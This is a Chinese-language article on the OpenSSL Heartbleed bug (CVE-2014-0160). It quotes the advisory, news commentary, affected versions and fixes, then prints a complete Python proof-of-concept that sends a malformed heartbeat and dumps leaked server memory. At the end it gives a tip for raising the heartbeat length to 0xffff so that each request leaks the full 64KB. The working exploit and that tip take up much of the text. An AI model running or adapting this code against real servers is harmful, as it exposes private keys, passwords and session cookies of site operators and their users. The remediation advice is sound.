OpenSSL重大漏洞-Heartbleed之漏洞利用腳本POC講解

http://lcx.cc/?i=4275

OpenSSL Security Advisory [07 Apr 2014]

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TLS heartbeat read overrun (CVE-2014-0160)

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A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley <[email protected]> and Bodo Moeller <[email protected]> for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

在 heartbleed 的官網上有關於 CVE-2014-0160 漏洞的詳細信息，這是關於 OpenSSL 的信息泄漏漏洞導致的安全問題。改 Heartbleed bug 可以讓互聯網的任何人讀取系統保護內存，這種妥協密鑰用於識別服務提供者和加密流量,用戶名和密碼的和實際的內容。該漏洞允許攻擊者竊聽通訊，並通過模擬服務提供者和用戶來直接從服務提供者盜取數據。

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此漏洞爲本年度互聯網上最嚴重的安全漏洞，影響至少兩億中國網民。需要在https開頭網址登錄的網站，初步評估有不少於30%的網站中招，其中包括大家最常用的購物、網銀、社交、門戶等知名網站。”

石曉虹介紹說，目前國內使用https的網站都是跟支付和敏感用戶數據相關的。據他了解，今天下午，大量網站已開始緊急修復此OpenSSL高危漏洞，但是修復此漏洞普遍需要半個小時到一個小時時間，大型網站修復時間會更長一些。

石曉虹提醒廣大互聯網服務商，儘快將OpenSSL升級至1.0.1g進行修復。同時建議廣大網友，在此漏洞得到修復前，暫時不要在受到漏洞影響的網站上登錄賬號。

OpenSSL是爲網絡通信提供安全及數據完整性的一種安全協議，囊括了主要的密碼算法、常用的密鑰和證書封裝管理功能以及SSL協議，目前正在各大網銀、在線支付、電商網站、門戶網站、電子郵件等重要網站上廣泛使用。

OpenSSL“心臟出血”漏洞利用方式

利用該漏洞，黑客坐在自己家裏電腦前，就可以實時獲取到約30%的https開頭網址的用戶登錄賬號和密碼、cookie等敏感數據，影響網銀、知名購物網站等。

漏洞成因

OpenSSL Heartbleed模塊存在一個BUG，當攻擊者構造一個特殊的數據包，滿足用戶心跳包中無法提供足夠多的數據會導致memcpy把SSLv3記錄之後的數據直接輸出，該漏洞導致攻擊者可以遠程讀取存在漏洞版本的openssl服務器內存中長大64K的數據。

存在該漏洞的版本

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable

OpenSSL 1.0.1g is NOT vulnerable

OpenSSL 1.0.0 branch is NOT vulnerable

OpenSSL 0.9.8 branch is NOT vulnerable

修復建議

使用低版本SSL的網站，並儘快按如下方案修復該漏洞:

升級OpenSSL 1.0.1g

使用-DOPENSSL_NO_HEARTBEATS參數重新編譯低版本的OpenSSL以禁用Heartbleed模塊

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修補方式：OpenSSL "heartbleed" 的安全漏洞

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OpenSSL “heartbleed” 漏洞利用程序腳本 POC：

openssl.py / ssltest.py，用法：openssl.py ip/域名 -p 端口

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

提示：

poc作者留了一手，每次只dump 16kb 內存。

那個Python poc裏面的：

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

改成

hb = h2bin('''
18 03 02 00 03
01 ff ff
''')

for b in xrange(0, len(s), 16):

改成

for b in xrange(0, len(s), 64):